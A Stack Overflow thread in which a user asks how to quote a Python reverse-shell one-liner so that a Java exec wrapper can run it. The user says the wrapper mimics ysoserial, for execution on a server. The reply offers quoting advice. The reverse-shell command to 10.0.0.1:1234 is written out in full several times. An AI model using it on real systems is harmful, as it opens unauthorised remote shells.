0

Given the below java code, how can I pass the following python statements as argument to the java code

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

The java code:

import java.io.*;
public class Exec {

    public static void main(String[] args) throws IOException {
        Process p = Runtime.getRuntime().exec(args[0]);
        byte[] b = new byte[1];

        while (p.getErrorStream().read(b) > 0)
            System.out.write(b);
        while (p.getInputStream().read(b) > 0)
            System.out.write(b);
    }
}

I execute the java code using:

java Exec 'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''

but it throws syntax error near unexpected token('`. If I use double quotes at the beginning and end

java Exec "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"

it throws:

  File "<string>", line 1
    'import
          ^
SyntaxError: EOL while scanning string literal

Any help is much appreciated.

Sandeep Kanabar
  • 1,264
  • 17
  • 33

1 Answers1

0

As you've noted, this is quite confusing. You're trying to pass in everything as one argument and the quoting becomes difficult. If you need explicit arguments, I think you have to pass in three arguments to your Java program, viz:

  1. python
  2. -c
  3. the complete script quoted appropriately

e.g.

java Exec python -c "script quoted and escaped properly"

but perhaps you could circumvent that by running 'python' and passing the name of the file containing your script? (why do you need to specify 'python' and '-c' - could that be hardcoded in your program?)

Fundamentally, though, why are you using Java to execute a Python program to spawn a bash shell? If you're on the Java platform, I would look at how to achieve what you really want without having to fork subprocesses using different technologies.

Community
  • 1
  • 1
Brian Agnew
  • 268,207
  • 37
  • 334
  • 440
  • There's a reason I'm passing everything as one arg. The `java` code I've written is a sample code that somewhat mimics the code in a 3rd party JAR file. The 3rd party JAR expects `java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'` - here the command to be executed is what begins with `python -c ...`. – Sandeep Kanabar Mar 20 '17 at 17:40
  • Thank you Brian for your answer. The reason for doing like this is- I want the python code to be executed by the java code on server (by the 3rd party jar). – Sandeep Kanabar Mar 20 '17 at 17:48